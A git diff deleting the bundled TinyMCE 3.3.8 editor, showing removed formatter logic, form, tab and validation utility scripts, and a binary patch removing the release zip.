(node[sibling_name] && !isBlock(node[sibling_name])) { - node = node[sibling_name]; - - // Break on BR but include it will be removed later on - // we can't remove it now since we need to check if it can be wrapped - if (isEq(node, 'br')) - break; - } - } - - return node || container; - }; - - // Find new startContainer/endContainer if there is better one - startContainer = findBlockEndPoint(startContainer, 'previousSibling'); - endContainer = findBlockEndPoint(endContainer, 'nextSibling'); - - // Non block element then try to expand up the leaf - if (format[0].block) { - if (!isBlock(startContainer)) - startContainer = findParentContainer(startContainer, 'firstChild', 'nextSibling'); - - if (!isBlock(endContainer)) - endContainer = findParentContainer(endContainer, 'lastChild', 'previousSibling'); - } - } - - // Setup index for startContainer - if (startContainer.nodeType == 1) { - startOffset = nodeIndex(startContainer); - startContainer = startContainer.parentNode; - } - - // Setup index for endContainer - if (endContainer.nodeType == 1) { - endOffset = nodeIndex(endContainer) + 1; - endContainer = endContainer.parentNode; - } - - // Return new range like object - return { - startContainer : startContainer, - startOffset : startOffset, - endContainer : endContainer, - endOffset : endOffset - }; - } - - function removeFormat(format, vars, node, compare_node) { - var i, attrs, stylesModified; - - // Check if node matches format - if (!matchName(node, format)) - return FALSE; - - // Should we compare with format attribs and styles - if (format.remove != 'all') { - // Remove styles - each(format.styles, function(value, name) { - value = replaceVars(value, vars); - - // Indexed array - if (typeof(name) === 'number') { - name = value; - compare_node = 0; - } - - if (!compare_node || isEq(getStyle(compare_node, name), value)) - dom.setStyle(node, name, ''); - - stylesModified = 1; - }); - - // Remove style attribute if it's empty - if (stylesModified && dom.getAttrib(node, 'style') == '') { - node.removeAttribute('style'); - node.removeAttribute('_mce_style'); - } - - // Remove attributes - each(format.attributes, function(value, name) { - var valueOut; - - value = replaceVars(value, vars); - - // Indexed array - if (typeof(name) === 'number') { - name = value; - compare_node = 0; - } - - if (!compare_node || isEq(dom.getAttrib(compare_node, name), value)) { - // Keep internal classes - if (name == 'class') { - value = dom.getAttrib(node, name); - if (value) { - // Build new class value where everything is removed except the internal prefixed classes - valueOut = ''; - each(value.split(/\s+/), function(cls) { - if (/mce\w+/.test(cls)) - valueOut += (valueOut ? ' ' : '') + cls; - }); - - // We got some internal classes left - if (valueOut) { - dom.setAttrib(node, name, valueOut); - return; - } - } - } - - // IE6 has a bug where the attribute doesn't get removed correctly - if (name == "class") - node.removeAttribute('className'); - - // Remove mce prefixed attributes - if (MCE_ATTR_RE.test(name)) - node.removeAttribute('_mce_' + name); - - node.removeAttribute(name); - } - }); - - // Remove classes - each(format.classes, function(value) { - value = replaceVars(value, vars); - - if (!compare_node || dom.hasClass(compare_node, value)) - dom.removeClass(node, value); - }); - - // Check for non internal attributes - attrs = dom.getAttribs(node); - for (i = 0; i < attrs.length; i++) { - if (attrs[i].nodeName.indexOf('_') !== 0) - return FALSE; - } - } - - // Remove the inline child if it's empty for example <b> or <span> - if (format.remove != 'none') { - removeNode(node, format); - return TRUE; - } - }; - - function removeNode(node, format) { - var parentNode = node.parentNode, rootBlockElm; - - if (format.block) { - if (!forcedRootBlock) { - function find(node, next, inc) { - node = getNonWhiteSpaceSibling(node, next, inc); - - return !node || (node.nodeName == 'BR' || isBlock(node)); - }; - - // Append BR elements if needed before we remove the block - if (isBlock(node) && !isBlock(parentNode)) { - if (!find(node, FALSE) && !find(node.firstChild, TRUE, 1)) - node.insertBefore(dom.create('br'), node.firstChild); - - if (!find(node, TRUE) && !find(node.lastChild, FALSE, 1)) - node.appendChild(dom.create('br')); - } - } else { - // Wrap the block in a forcedRootBlock if we are at the root of document - if (parentNode == dom.getRoot()) { - if (!format.list_block || !isEq(node, format.list_block)) { - each(tinymce.grep(node.childNodes), function(node) { - if (isValid(forcedRootBlock, node.nodeName.toLowerCase())) { - if (!rootBlockElm) - rootBlockElm = wrap(node, forcedRootBlock); - else - rootBlockElm.appendChild(node); - } else - rootBlockElm = 0; - }); - } - } - } - } - - // Never remove nodes that isn't the specified inline element if a selector is specified too - if (format.selector && format.inline && !isEq(format.inline, node)) - return; - - dom.remove(node, 1); - }; - - function getNonWhiteSpaceSibling(node, next, inc) { - if (node) { - next = next ? 'nextSibling' : 'previousSibling'; - - for (node = inc ? node : node[next]; node; node = node[next]) { - if (node.nodeType == 1 || !isWhiteSpaceNode(node)) - return node; - } - } - }; - - function isBookmarkNode(node) { - return node && node.nodeType == 1 && node.getAttribute('_mce_type') == 'bookmark'; - }; - - function mergeSiblings(prev, next) { - var marker, sibling, tmpSibling; - - function compareElements(node1, node2) { - // Not the same name - if (node1.nodeName != node2.nodeName) - return FALSE; - - function getAttribs(node) { - var attribs = {}; - - each(dom.getAttribs(node), function(attr) { - var name = attr.nodeName.toLowerCase(); - - // Don't compare internal attributes or style - if (name.indexOf('_') !== 0 && name !== 'style') - attribs[name] = dom.getAttrib(node, name); - }); - - return attribs; - }; - - function compareObjects(obj1, obj2) { - var value, name; - - for (name in obj1) { - // Obj1 has item obj2 doesn't have - if (obj1.hasOwnProperty(name)) { - value = obj2[name]; - - // Obj2 doesn't have obj1 item - if (value === undefined) - return FALSE; - - // Obj2 item has a different value - if (obj1[name] != value) - return FALSE; - - // Delete similar value - delete obj2[name]; - } - } - - // Check if obj 2 has something obj 1 doesn't have - for (name in obj2) { - // Obj2 has item obj1 doesn't have - if (obj2.hasOwnProperty(name)) - return FALSE; - } - - return TRUE; - }; - - // Attribs are not the same - if (!compareObjects(getAttribs(node1), getAttribs(node2))) - return FALSE; - - // Styles are not the same - if (!compareObjects(dom.parseStyle(dom.getAttrib(node1, 'style')), dom.parseStyle(dom.getAttrib(node2, 'style')))) - return FALSE; - - return TRUE; - }; - - // Check if next/prev exists and that they are elements - if (prev && next) { - function findElementSibling(node, sibling_name) { - for (sibling = node; sibling; sibling = sibling[sibling_name]) { - if (sibling.nodeType == 3 && !isWhiteSpaceNode(sibling)) - return node; - - if (sibling.nodeType == 1 && !isBookmarkNode(sibling)) - return sibling; - } - - return node; - }; - - // If previous sibling is empty then jump over it - prev = findElementSibling(prev, 'previousSibling'); - next = findElementSibling(next, 'nextSibling'); - - // Compare next and previous nodes - if (compareElements(prev, next)) { - // Append nodes between - for (sibling = prev.nextSibling; sibling && sibling != next;) { - tmpSibling = sibling; - sibling = sibling.nextSibling; - prev.appendChild(tmpSibling); - } - - // Remove next node - dom.remove(next); - - // Move children into prev node - each(tinymce.grep(next.childNodes), function(node) { - prev.appendChild(node); - }); - - return prev; - } - } - - return next; - }; - - function isTextBlock(name) { - return /^(h[1-6]|p|div|pre|address|dl|dt|dd)$/.test(name); - }; - - function getContainer(rng, start) { - var container, offset, lastIdx; - - container = rng[start ? 'startContainer' : 'endContainer']; - offset = rng[start ? 'startOffset' : 'endOffset']; - - if (container.nodeType == 1) { - lastIdx = container.childNodes.length - 1; - - if (!start && offset) - offset--; - - container = container.childNodes[offset > lastIdx ? lastIdx : offset]; - } - - return container; - }; - - function performCaretAction(type, name, vars) { - var i, currentPendingFormats = pendingFormats[type], - otherPendingFormats = pendingFormats[type == 'apply' ? 'remove' : 'apply']; - - function hasPending() { - return pendingFormats.apply.length || pendingFormats.remove.length; - }; - - function resetPending() { - pendingFormats.apply = []; - pendingFormats.remove = []; - }; - - function perform(caret_node) { - // Apply pending formats - each(pendingFormats.apply.reverse(), function(item) { - apply(item.name, item.vars, caret_node); - }); - - // Remove pending formats - each(pendingFormats.remove.reverse(), function(item) { - remove(item.name, item.vars, caret_node); - }); - - dom.remove(caret_node, 1); - resetPending(); - }; - - // Check if it already exists then ignore it - for (i = currentPendingFormats.length - 1; i >= 0; i--) { - if (currentPendingFormats[i].name == name) - return; - } - - currentPendingFormats.push({name : name, vars : vars}); - - // Check if it's in the other type, then remove it - for (i = otherPendingFormats.length - 1; i >= 0; i--) { - if (otherPendingFormats[i].name == name) - otherPendingFormats.splice(i, 1); - } - - // Pending apply or remove formats - if (hasPending()) { - ed.getDoc().execCommand('FontName', false, 'mceinline'); - pendingFormats.lastRng = selection.getRng(); - - // IE will convert the current word - each(dom.select('font,span'), function(node) { - var bookmark; - - if (isCaretNode(node)) { - bookmark = selection.getBookmark(); - perform(node); - selection.moveToBookmark(bookmark); - ed.nodeChanged(); - } - }); - - // Only register listeners once if we need to - if (!pendingFormats.isListening && hasPending()) { - pendingFormats.isListening = true; - - each('onKeyDown,onKeyUp,onKeyPress,onMouseUp'.split(','), function(event) { - ed[event].addToTop(function(ed, e) { - // Do we have pending formats and is the selection moved has moved - if (hasPending() && !tinymce.dom.RangeUtils.compareRanges(pendingFormats.lastRng, selection.getRng())) { - each(dom.select('font,span'), function(node) { - var textNode, rng; - - // Look for marker - if (isCaretNode(node)) { - textNode = node.firstChild; - - if (textNode) { - perform(node); - - rng = dom.createRng(); - rng.setStart(textNode, textNode.nodeValue.length); - rng.setEnd(textNode, textNode.nodeValue.length); - selection.setRng(rng); - ed.nodeChanged(); - } else - dom.remove(node); - } - }); - - // Always unbind and clear pending styles on keyup - if (e.type == 'keyup' || e.type == 'mouseup') - resetPending(); - } - }); - }); - } - } - }; - }; -})(tinymce); - -tinymce.onAddEditor.add(function(tinymce, ed) { - var filters, fontSizes, dom, settings = ed.settings; - - if (settings.inline_styles) { - fontSizes = tinymce.explode(settings.font_size_style_values); - - function replaceWithSpan(node, styles) { - dom.replace(dom.create('span', { - style : styles - }), node, 1); - }; - - filters = { - font : function(dom, node) { - replaceWithSpan(node, { - backgroundColor : node.style.backgroundColor, - color : node.color, - fontFamily : node.face, - fontSize : fontSizes[parseInt(node.size) - 1] - }); - }, - - u : function(dom, node) { - replaceWithSpan(node, { - textDecoration : 'underline' - }); - }, - - strike : function(dom, node) { - replaceWithSpan(node, { - textDecoration : 'line-through' - }); - } - }; - - function convert(editor, params) { - dom = editor.dom; - - if (settings.convert_fonts_to_spans) { - tinymce.each(dom.select('font,u,strike', params.node), function(node) { - filters[node.nodeName.toLowerCase()](ed.dom, node); - }); - } - }; - - ed.onPreProcess.add(convert); - - ed.onInit.add(function() { - ed.selection.onSetContent.add(convert); - }); - } -}); - diff --git a/tinymce-3.3.8/jscripts/tiny_mce/utils/editable_selects.js b/tinymce-3.3.8/jscripts/tiny_mce/utils/editable_selects.js deleted file mode 100644 index fd943c0..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/utils/editable_selects.js +++ /dev/null @@ -1,70 +0,0 @@ -/** - * editable_selects.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -var TinyMCE_EditableSelects = { - editSelectElm : null, - - init : function() { - var nl = document.getElementsByTagName("select"), i, d = document, o; - - for (i=0; i<nl.length; i++) { - if (nl[i].className.indexOf('mceEditableSelect') != -1) { - o = new Option('(value)', '__mce_add_custom__'); - - o.className = 'mceAddSelectValue'; - - nl[i].options[nl[i].options.length] = o; - nl[i].onchange = TinyMCE_EditableSelects.onChangeEditableSelect; - } - } - }, - - onChangeEditableSelect : function(e) { - var d = document, ne, se = window.event ? window.event.srcElement : e.target; - - if (se.options[se.selectedIndex].value == '__mce_add_custom__') { - ne = d.createElement("input"); - ne.id = se.id + "_custom"; - ne.name = se.name + "_custom"; - ne.type = "text"; - - ne.style.width = se.offsetWidth + 'px'; - se.parentNode.insertBefore(ne, se); - se.style.display = 'none'; - ne.focus(); - ne.onblur = TinyMCE_EditableSelects.onBlurEditableSelectInput; - ne.onkeydown = TinyMCE_EditableSelects.onKeyDown; - TinyMCE_EditableSelects.editSelectElm = se; - } - }, - - onBlurEditableSelectInput : function() { - var se = TinyMCE_EditableSelects.editSelectElm; - - if (se) { - if (se.previousSibling.value != '') { - addSelectValue(document.forms[0], se.id, se.previousSibling.value, se.previousSibling.value); - selectByValue(document.forms[0], se.id, se.previousSibling.value); - } else - selectByValue(document.forms[0], se.id, ''); - - se.style.display = 'inline'; - se.parentNode.removeChild(se.previousSibling); - TinyMCE_EditableSelects.editSelectElm = null; - } - }, - - onKeyDown : function(e) { - e = e || window.event; - - if (e.keyCode == 13) - TinyMCE_EditableSelects.onBlurEditableSelectInput(); - } -}; diff --git a/tinymce-3.3.8/jscripts/tiny_mce/utils/form_utils.js b/tinymce-3.3.8/jscripts/tiny_mce/utils/form_utils.js deleted file mode 100644 index 2617a26..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/utils/form_utils.js +++ /dev/null @@ -1,200 +0,0 @@ -/** - * form_utils.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -var themeBaseURL = tinyMCEPopup.editor.baseURI.toAbsolute('themes/' + tinyMCEPopup.getParam("theme")); - -function getColorPickerHTML(id, target_form_element) { - var h = ""; - - h += '<a id="' + id + '_link" href="javascript:;" onclick="tinyMCEPopup.pickColor(event,\'' + target_form_element +'\');" onmousedown="return false;" class="pickcolor">'; - h += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>'; - - return h; -} - -function updateColor(img_id, form_element_id) { - document.getElementById(img_id).style.backgroundColor = document.forms[0].elements[form_element_id].value; -} - -function setBrowserDisabled(id, state) { - var img = document.getElementById(id); - var lnk = document.getElementById(id + "_link"); - - if (lnk) { - if (state) { - lnk.setAttribute("realhref", lnk.getAttribute("href")); - lnk.removeAttribute("href"); - tinyMCEPopup.dom.addClass(img, 'disabled'); - } else { - if (lnk.getAttribute("realhref")) - lnk.setAttribute("href", lnk.getAttribute("realhref")); - - tinyMCEPopup.dom.removeClass(img, 'disabled'); - } - } -} - -function getBrowserHTML(id, target_form_element, type, prefix) { - var option = prefix + "_" + type + "_browser_callback", cb, html; - - cb = tinyMCEPopup.getParam(option, tinyMCEPopup.getParam("file_browser_callback")); - - if (!cb) - return ""; - - html = ""; - html += '<a id="' + id + '_link" href="javascript:openBrowser(\'' + id + '\',\'' + target_form_element + '\', \'' + type + '\',\'' + option + '\');" onmousedown="return false;" class="browse">'; - html += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>'; - - return html; -} - -function openBrowser(img_id, target_form_element, type, option) { - var img = document.getElementById(img_id); - - if (img.className != "mceButtonDisabled") - tinyMCEPopup.openBrowser(target_form_element, type, option); -} - -function selectByValue(form_obj, field_name, value, add_custom, ignore_case) { - if (!form_obj || !form_obj.elements[field_name]) - return; - - var sel = form_obj.elements[field_name]; - - var found = false; - for (var i=0; i<sel.options.length; i++) { - var option = sel.options[i]; - - if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) { - option.selected = true; - found = true; - } else - option.selected = false; - } - - if (!found && add_custom && value != '') { - var option = new Option(value, value); - option.selected = true; - sel.options[sel.options.length] = option; - sel.selectedIndex = sel.options.length - 1; - } - - return found; -} - -function getSelectValue(form_obj, field_name) { - var elm = form_obj.elements[field_name]; - - if (elm == null || elm.options == null || elm.selectedIndex === -1) - return ""; - - return elm.options[elm.selectedIndex].value; -} - -function addSelectValue(form_obj, field_name, name, value) { - var s = form_obj.elements[field_name]; - var o = new Option(name, value); - s.options[s.options.length] = o; -} - -function addClassesToList(list_id, specific_option) { - // Setup class droplist - var styleSelectElm = document.getElementById(list_id); - var styles = tinyMCEPopup.getParam('theme_advanced_styles', false); - styles = tinyMCEPopup.getParam(specific_option, styles); - - if (styles) { - var stylesAr = styles.split(';'); - - for (var i=0; i<stylesAr.length; i++) { - if (stylesAr != "") { - var key, value; - - key = stylesAr[i].split('=')[0]; - value = stylesAr[i].split('=')[1]; - - styleSelectElm.options[styleSelectElm.length] = new Option(key, value); - } - } - } else { - tinymce.each(tinyMCEPopup.editor.dom.getClasses(), function(o) { - styleSelectElm.options[styleSelectElm.length] = new Option(o.title || o['class'], o['class']); - }); - } -} - -function isVisible(element_id) { - var elm = document.getElementById(element_id); - - return elm && elm.style.display != "none"; -} - -function convertRGBToHex(col) { - var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); - - var rgb = col.replace(re, "$1,$2,$3").split(','); - if (rgb.length == 3) { - r = parseInt(rgb[0]).toString(16); - g = parseInt(rgb[1]).toString(16); - b = parseInt(rgb[2]).toString(16); - - r = r.length == 1 ? '0' + r : r; - g = g.length == 1 ? '0' + g : g; - b = b.length == 1 ? '0' + b : b; - - return "#" + r + g + b; - } - - return col; -} - -function convertHexToRGB(col) { - if (col.indexOf('#') != -1) { - col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); - - r = parseInt(col.substring(0, 2), 16); - g = parseInt(col.substring(2, 4), 16); - b = parseInt(col.substring(4, 6), 16); - - return "rgb(" + r + "," + g + "," + b + ")"; - } - - return col; -} - -function trimSize(size) { - return size.replace(/([0-9\.]+)px|(%|in|cm|mm|em|ex|pt|pc)/, '$1$2'); -} - -function getCSSSize(size) { - size = trimSize(size); - - if (size == "") - return ""; - - // Add px - if (/^[0-9]+$/.test(size)) - size += 'px'; - - return size; -} - -function getStyle(elm, attrib, style) { - var val = tinyMCEPopup.dom.getAttrib(elm, attrib); - - if (val != '') - return '' + val; - - if (typeof(style) == 'undefined') - style = attrib; - - return tinyMCEPopup.dom.getStyle(elm, style); -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/utils/mctabs.js b/tinymce-3.3.8/jscripts/tiny_mce/utils/mctabs.js deleted file mode 100644 index 825d4c1..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/utils/mctabs.js +++ /dev/null @@ -1,77 +0,0 @@ -/** - * mctabs.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function MCTabs() { - this.settings = []; -}; - -MCTabs.prototype.init = function(settings) { - this.settings = settings; -}; - -MCTabs.prototype.getParam = function(name, default_value) { - var value = null; - - value = (typeof(this.settings[name]) == "undefined") ? default_value : this.settings[name]; - - // Fix bool values - if (value == "true" || value == "false") - return (value == "true"); - - return value; -}; - -MCTabs.prototype.displayTab = function(tab_id, panel_id) { - var panelElm, panelContainerElm, tabElm, tabContainerElm, selectionClass, nodes, i; - - panelElm= document.getElementById(panel_id); - panelContainerElm = panelElm ? panelElm.parentNode : null; - tabElm = document.getElementById(tab_id); - tabContainerElm = tabElm ? tabElm.parentNode : null; - selectionClass = this.getParam('selection_class', 'current'); - - if (tabElm && tabContainerElm) { - nodes = tabContainerElm.childNodes; - - // Hide all other tabs - for (i = 0; i < nodes.length; i++) { - if (nodes[i].nodeName == "LI") - nodes[i].className = ''; - } - - // Show selected tab - tabElm.className = 'current'; - } - - if (panelElm && panelContainerElm) { - nodes = panelContainerElm.childNodes; - - // Hide all other panels - for (i = 0; i < nodes.length; i++) { - if (nodes[i].nodeName == "DIV") - nodes[i].className = 'panel'; - } - - // Show selected panel - panelElm.className = 'current'; - } -}; - -MCTabs.prototype.getAnchor = function() { - var pos, url = document.location.href; - - if ((pos = url.lastIndexOf('#')) != -1) - return url.substring(pos + 1); - - return ""; -}; - -// Global instance -var mcTabs = new MCTabs(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/utils/validate.js b/tinymce-3.3.8/jscripts/tiny_mce/utils/validate.js deleted file mode 100644 index a6fcf97..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/utils/validate.js +++ /dev/null @@ -1,220 +0,0 @@ -/** - * validate.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -/** - // String validation: - - if (!Validator.isEmail('myemail')) - alert('Invalid email.'); - - // Form validation: - - var f = document.forms['myform']; - - if (!Validator.isEmail(f.myemail)) - alert('Invalid email.'); -*/ - -var Validator = { - isEmail : function(s) { - return this.test(s, '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'); - }, - - isAbsUrl : function(s) { - return this.test(s, '^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$'); - }, - - isSize : function(s) { - return this.test(s, '^[0-9]+(%|in|cm|mm|em|ex|pt|pc|px)?$'); - }, - - isId : function(s) { - return this.test(s, '^[A-Za-z_]([A-Za-z0-9_])*$'); - }, - - isEmpty : function(s) { - var nl, i; - - if (s.nodeName == 'SELECT' && s.selectedIndex < 1) - return true; - - if (s.type == 'checkbox' && !s.checked) - return true; - - if (s.type == 'radio') { - for (i=0, nl = s.form.elements; i<nl.length; i++) { - if (nl[i].type == "radio" && nl[i].name == s.name && nl[i].checked) - return false; - } - - return true; - } - - return new RegExp('^\\s*$').test(s.nodeType == 1 ? s.value : s); - }, - - isNumber : function(s, d) { - return !isNaN(s.nodeType == 1 ? s.value : s) && (!d || !this.test(s, '^-?[0-9]*\\.[0-9]*$')); - }, - - test : function(s, p) { - s = s.nodeType == 1 ? s.value : s; - - return s == '' || new RegExp(p).test(s); - } -}; - -var AutoValidator = { - settings : { - id_cls : 'id', - int_cls : 'int', - url_cls : 'url', - number_cls : 'number', - email_cls : 'email', - size_cls : 'size', - required_cls : 'required', - invalid_cls : 'invalid', - min_cls : 'min', - max_cls : 'max' - }, - - init : function(s) { - var n; - - for (n in s) - this.settings[n] = s[n]; - }, - - validate : function(f) { - var i, nl, s = this.settings, c = 0; - - nl = this.tags(f, 'label'); - for (i=0; i<nl.length; i++) - this.removeClass(nl[i], s.invalid_cls); - - c += this.validateElms(f, 'input'); - c += this.validateElms(f, 'select'); - c += this.validateElms(f, 'textarea'); - - return c == 3; - }, - - invalidate : function(n) { - this.mark(n.form, n); - }, - - reset : function(e) { - var t = ['label', 'input', 'select', 'textarea']; - var i, j, nl, s = this.settings; - - if (e == null) - return; - - for (i=0; i<t.length; i++) { - nl = this.tags(e.form ? e.form : e, t[i]); - for (j=0; j<nl.length; j++) - this.removeClass(nl[j], s.invalid_cls); - } - }, - - validateElms : function(f, e) { - var nl, i, n, s = this.settings, st = true, va = Validator, v; - - nl = this.tags(f, e); - for (i=0; i<nl.length; i++) { - n = nl[i]; - - this.removeClass(n, s.invalid_cls); - - if (this.hasClass(n, s.required_cls) && va.isEmpty(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.number_cls) && !va.isNumber(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.int_cls) && !va.isNumber(n, true)) - st = this.mark(f, n); - - if (this.hasClass(n, s.url_cls) && !va.isAbsUrl(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.email_cls) && !va.isEmail(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.size_cls) && !va.isSize(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.id_cls) && !va.isId(n)) - st = this.mark(f, n); - - if (this.hasClass(n, s.min_cls, true)) { - v = this.getNum(n, s.min_cls); - - if (isNaN(v) || parseInt(n.value) < parseInt(v)) - st = this.mark(f, n); - } - - if (this.hasClass(n, s.max_cls, true)) { - v = this.getNum(n, s.max_cls); - - if (isNaN(v) || parseInt(n.value) > parseInt(v)) - st = this.mark(f, n); - } - } - - return st; - }, - - hasClass : function(n, c, d) { - return new RegExp('\\b' + c + (d ? '[0-9]+' : '') + '\\b', 'g').test(n.className); - }, - - getNum : function(n, c) { - c = n.className.match(new RegExp('\\b' + c + '([0-9]+)\\b', 'g'))[0]; - c = c.replace(/[^0-9]/g, ''); - - return c; - }, - - addClass : function(n, c, b) { - var o = this.removeClass(n, c); - n.className = b ? c + (o != '' ? (' ' + o) : '') : (o != '' ? (o + ' ') : '') + c; - }, - - removeClass : function(n, c) { - c = n.className.replace(new RegExp("(^|\\s+)" + c + "(\\s+|$)"), ' '); - return n.className = c != ' ' ? c : ''; - }, - - tags : function(f, s) { - return f.getElementsByTagName(s); - }, - - mark : function(f, n) { - var s = this.settings; - - this.addClass(n, s.invalid_cls); - this.markLabels(f, n, s.invalid_cls); - - return false; - }, - - markLabels : function(f, n, ic) { - var nl, i; - - nl = this.tags(f, "label"); - for (i=0; i<nl.length; i++) { - if (nl[i].getAttribute("for") == n.id || nl[i].htmlFor == n.id) - this.addClass(nl[i], ic); - } - - return null; - } -}; diff --git a/tinymce_3_3_8.zip b/tinymce_3_3_8.zip deleted file mode 100644 index aa315e3c0d62732b5f0c1c555353ef0fabbeebdb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 708516 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 